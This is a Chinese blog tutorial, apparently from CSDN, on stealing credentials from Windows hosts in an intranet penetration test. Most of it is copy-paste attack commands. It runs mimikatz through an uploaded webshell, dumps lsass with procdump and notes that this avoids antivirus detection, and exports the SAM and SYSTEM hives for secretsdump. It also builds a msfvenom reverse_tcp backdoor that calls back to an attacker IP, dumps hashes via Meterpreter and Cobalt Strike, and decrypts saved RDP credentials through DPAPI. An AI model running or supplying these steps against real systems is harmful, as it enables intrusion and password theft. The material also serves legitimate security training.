渗透测试——工作组内网凭证获取

已于 2024-07-25 21:06:53 修改
阅读量1.3k 收藏 12
点赞数 24
文章标签： 服务器 windows 运维
于 2024-06-16 21:27:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_74171325/article/details/139683909
版权

目录

方法一

Mimikatz猕猴桃工具

下载

 使用webshell工具进行内网连接rce

mimikatz.exe文件通过蚁剑上传到内网主机

​编辑

蚁剑打开终端 

获取方法

 （一）非交互试命令一

 点击刷新=>出现生成的log.txt文件

双击点击log.txt查看获取的信息（成功获取）

（二）非交互式获取命令二

 获取NTLM HASH

方法二

Procdump+mimikatz获取

下载

 上传蚁剑

 命令执行

 刷新，出现新文件

 下载到自己物理机的mimikatz目录文件夹下

 使用mimikatz解密

 注册表导出HASH

命令（依此输入命令）

 同样下载文件到mimikatz目录里面

mimikatz解密

 impacket解密

下载

方法三

LaZagne工具获取

 下载

执行命令，获取所有密码

 方法四

meterpreter获取hash

kali机生成reverver_tcp的后门

kali机开启监听

 运行10000.exe

 成功上线目标靶机

 提权

 mimikatz插件读取hash

方法五

cs工具获取hash

其他密码凭证获取

RDP密码获取

查看本地机器本地连接过的目标机器

 查看本地用户此目录下是否存有RDP密码文件

​编辑 查看保存在本地的远程主机信息

 利用命令获取guidMasterKey的值

获取guidMasterKey对应的masterKey

​编辑

 Mysql密码的获取

user.MYD文件

 01二进制工具读取​编辑

工具SharpDecryptPwd.exe

方法一

Mimikatz猕猴桃工具

下载

Releases · gentilkiwi/mimikatz · GitHubicon-default.png?t=N7T8https://github.com/gentilkiwi/mimikatz/releases

下载后自行解压

 使用webshell工具进行内网连接rce

mimikatz.exe文件通过蚁剑上传到内网主机

蚁剑打开终端 

获取方法

 （一）非交互试命令一
二选一，都可以
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

 点击刷新=>出现生成的log.txt文件

双击点击log.txt查看获取的信息（成功获取）
一般情况下高版本的windows取消了lsass.exe缓存密码，是不会直接暴露密码的

（二）非交互式获取命令二
获取NTLM_HASH
mimikatz.exe "privilege::debug" "log 2.txt" "token::elevate" "lsadump::sam" "exit"
 获取NTLM HASH

 

方法二

Procdump+mimikatz获取

有优势procdump为微软开发的软件，一般不会被杀，有免杀姿态优势

下载

ProcDump - Sysinternals | Microsoft Learnicon-default.png?t=N7T8https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump

 上传蚁剑

 命令执行

For 32bits：
procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits：
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

 

 刷新，出现新文件

 

 下载到自己物理机的mimikatz目录文件夹下

 使用mimikatz解密

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"
密码和NTLM暴露

 注册表导出HASH

命令（依此输入命令）

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

 

 

 同样下载文件到mimikatz目录里面

mimikatz解密
mimikatz.exe  "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"

 解密成功

 impacket解密
下载

Releases · fortra/impacket · GitHubicon-default.png?t=N7T8https://github.com/fortra/impacket/releases

复制这个py文件到mimikatz目录下，然后运行下面那个命令

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

解密成功

方法三

LaZagne工具获取

 下载

Releases · AlessandroZ/LaZagne (github.com)icon-default.png?t=N7T8https://github.com/AlessandroZ/LaZagne/releases/

 版本自行下载

 工具上传到目标靶机

执行命令，获取所有密码

 方法四

meterpreter获取hash

kali机生成reverver_tcp的后门

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.20.128 lport=10000 -f exe -o 10000.exe

后门放到目标主机上 

kali机开启监听

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.20.128 -P 10000

 运行10000.exe

start 10000.exe

 成功上线目标靶机

shell命令进入后，whoami /all看看是不是管理员权限，由于meterperter只认system用户，getuid得到下面这个用户权限不够

 提权

成功提权system用户

getsystem

hashdump   #读取hash

 mimikatz插件读取hash

help查看插件命令使用说明

creds_all

方法五

cs工具获取hash

beacon> hashdump

beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords

beacon> mimikatz lsadump::sam

其他密码凭证获取

RDP密码获取

查看本地机器本地连接过的目标机器

reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

 查看本地用户此目录下是否存有RDP密码文件

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

 查看保存在本地的远程主机信息

cmdkey /list

 利用命令获取guidMasterKey的值

mimikatz.exe "privilege::debug" "dpapi::cred /in:文件路径" "exit"
以我为例命令
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B" "exit"

获取guidMasterKey对应的masterKey

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

mimikatz.exe "privilege::debug" "dpapi::cred /in:要获取的文件路径 （有一个空格）/masterKey:你获取的masterKey" "exit"

#如下有个空格
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B /masterKey:你获取的masterKey" "exit"
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\E0336123F6E8FA63985517101A08FD7B /masterKey:6111e0ed3e84f3073a741f56f7c7131ad04150e922e7a16e208178b225bd48be3c8953a5adac43218c9fcd5ac0f4f3e3ccfab34c3f2ff52787a8b9e379dd63f1" "exit"

 Mysql密码的获取

user.MYD文件

 01二进制工具读取

工具SharpDecryptPwd.exe

SharpDecryptPwd.exe #查看命令帮助

peiqi_crazy
关注
  • 24
    点赞
  • 踩
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
内网横向移动密码凭证获取总结.pdf
12-08
内网横向移动是渗透测试中一个关键步骤，通常发生在攻击者已经控制了内网中的一台或多台设备之后。为了进一步扩大攻击范围，攻击者需要获取域内的密码凭证，包括密码哈希值，以便利用这些凭证对其他系统进行访问。...
几款优秀的Windows密码抓取工具
LuckySec
03-24 6792
前言 本篇介绍几款优秀的Windows上的密码抓取工具，每个工具都有自己的特点非常实用，欢迎补充。 0x01 Mimikatz 个人点评：这款工具非常强大，公认的Windows密码神器。 1. 简介 Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码，hash，PIN码和kerberos票证。mimikatz还可以执行哈希传递，票证传递或构建Golden票证 项目地址：https://github.com/gentilkiwi/mimikatz/ 2. 使用 cmd运行
GitHub敏感信息收集，SharpDecryptPwd 抓密码神器，MOSE-用于配置管理服务器的后期利用工具
代码讲故事
09-16 350
GitHub敏感信息收集，SharpDecryptPwd 抓密码神器，MOSE-用于配置管理服务器的后期利用工具。
windows各类密码搜集
good good study
02-17 2855
从 Windows 2000 开始，用户程序或操作系统程序就可以直接调用 DPAPI 来加密数据。由于 DPAPI 简单易用且加密强大，大量应用程序都采用 DPAPI 加密用户的私密数据，如 Chrome 浏览器的自动登陆密码、远程桌面的自动登陆密码、Outlook邮箱的账号密码、加密文件系统的私钥等。DPAPI 内部加密流程异常复杂而且微软官方也未公布过其内部细节，这给理解该接口内部实现机制带来了极大困难。
记一次失败的渗透经历----TeamViewer提取密码和ID
Jietewang的博客
10-29 2236
目录 1.前言 2.信息收集 3.提取TeamViewer配置 1.前言 授权测试，常规操作拿到shell，但是机器在内网，无法与外网通信，并且是双网卡，使用已知的代理手段均无法使机器出网。在搜集主机信息的时候发现该主机存在TeamViewer.exe进程，在于是想通过手段获取TeamViewer的连接id和密码。虽然最后也失败了，郁闷。 2.信息收集 拿到shell后，查看主机信息，发现了TeamViewer.exe进程。 3.提取TeamViewer配置 使用工具，SharpDec
内网渗透之——数据压缩、传输
01-09
数据压缩 作用： 将文件打包，方便下载 Linux 直接使用tar命令压缩 windows 利用Rar.exe(winrar.exe里的执行文件) 参数说明: a 添加文件到压缩文件中 -k 锁定压缩文件 -s产生固体存档,这样可以增大压缩比 ...
渗透测试 _ 内网信息收集1
08-03
内网信息收集是渗透测试的重要阶段，它决定了测试的效率和成功率。本文主要探讨了内网信息收集的基本概念和方法。 在内网渗透测试中，信息收集主要涉及三个关键步骤： 1. **我是谁？** 这个阶段的目标是识别控制的...
内网渗透测试安全学习ppt
02-12
5. **社会工程学**：在某些情况下，内网渗透可能涉及社会工程学技巧，如钓鱼邮件、电话欺骗等，以获取员工的登录凭证或其他敏感信息。 6. **横向移动**：一旦获得一个系统的访问权，渗透测试者会尝试在内网中横向...
优秀的Windows密码抓取工具
feiyu361的博客
08-23 935
优秀的工具如下: 01 Mimikatz 简介: Mimikat是一个法国人写的轻量级调试器。Mimikat可以从内存中提取纯文本密码，hash，PIN码和kerberos票证。mimikatz还可以执行哈希传递，票证传递或构建Golden票证 项目地址：https://github.com/gentilkiwi/mimikatz/ 使用 cmd运行命令如下： mimikatz.exe # cmd命令执行启动程序 privilege::debug # 提升权限 sekurlsa::logonpas
Linux：基础命令学习
qq_55038440的博客
07-20 1510
实例：-F根据文件类型在列出的文件名称后加一符号。实例： -R 递归显示目录中的所有文件和子目录。. 开头的隐藏文件也会列出。可执行文件则加 "*"，用于显示目录文件信息。
DNS域名解析服务器
nianwan2157的博客
07-24 561
定义监听端口，如果所有地址都监听，则只写端口。反解需要注意：主机名尽量使用完整的。只允许本地主机进行查询。
如果提升服务器安全性，使用快卫士给服务器上“锁”
qq_38647109的博客
07-24 461
服务器作为数据存储与业务处理的核心，其安全性直接关系到企业的运营稳定和信息安全。面对日益复杂的网络攻击手段，如何有效提升服务器的安全防护能力，成为了每个企业和个人用户必须面对的重要课题。在众多服务器安全解决方案中，快卫士以其卓越的性能和全面的防护功能脱颖而出，成为提升服务器安全性的理想选择。
服务器数据恢复—raid信息丢失导致RAID无法被识别的数据恢复案例
beiya123的博客
07-25 365
某单位机房搬迁，将所有服务器和存储搬迁到新机房并重新连接线路，启动所有机器发现其中有一台服务器无法识别RAID，提示未做初始化操作。 发生故障的这台服务器安装LINUX操作系统，配置了NFS+FTP作为单位内部的文件服务器使用。服务器为ProLiant DL380系列服务器，通过hp smart array控制器挂载了一组由14块SCSI硬盘组成的RAID5磁盘阵列。该raid5磁盘阵列采用双循环的校验方式。 北亚企安数据恢复工程师到达现场后对故障服务器进行了初检，经过检测发现raid信息丢失。
UEFI DebugLib 介绍
qq_43561214的博客
07-25 643
有多个Lib 对DebugPrintEnabled 做了定义，因此可以使用不同的Lib 让Debug(）产生不同的效果，这点也适用于其他函数。UefiDebugLibConOut.inf 这个Lib就是开始我们提到的将debug信息打印到Shell 使用的Lib。当我们调试程序时，可以在可能有问题的地方插入一条 INT 3 指令，使 CPU 执行到这一点时停下来。当条件为假时，断言会触发错误处理机制，通常会导致程序中。对于不同的架构实现方式可能不同，但是可以用同样的模块代码，通过替换Lib去替换实现函数。
qt开发:应用如何做静默升级更新
weixin_42602900的博客
07-24 384
qt开发:应用如何做静默升级更新
Q15 三数之和
最新发布
weixin_44554979的博客
07-25 211
我的思路，先排序，循环确定前两个值，最后一个值二分。最后两个值可以使用双指针，因为是有序的，而且是求和。
内网安全攻防:渗透测试实战指南 pdf下载
07-29
对于内网安全攻防和渗透测试实战指南的PDF下载，首先需要明确渗透测试的目的是为了评估和测试内网的安全性，找出可能存在的漏洞和风险，并提供相应的防御建议和措施。 在下载PDF之前，我们应该明确以下几个问题： 1. 有合法的授权和使用权限吗？ 渗透测试是一项敏感且潜在危险的活动，需要事先与相关当事人保持沟通和达成共识，以确保测试合法、合规和有授权。因此，在下载之前，我们要确保自己拥有相应的合法权限。 2. 评估所需工具和技能 渗透测试需要一定的技术和工具支持。在下载之前，我们需要评估自己是否具备进行渗透测试所需要的技能和经验，并确认自己是否具备所需的工具和环境。 3. 错误使用导致的后果 渗透测试是一项高风险活动，如果错误使用或者测试方法不当，可能导致严重的后果，如业务中断、数据泄露等。因此，在下载之前，我们需要认识到这一点，并确保自己具备相应的安全意识和责任心。 总之，下载内网安全攻防和渗透测试实战指南的PDF之前，我们要确保自己拥有合法授权和权限，具备相应的技能和工具，以及清楚认识到错误使用可能导致的后果。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

peiqi_crazy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值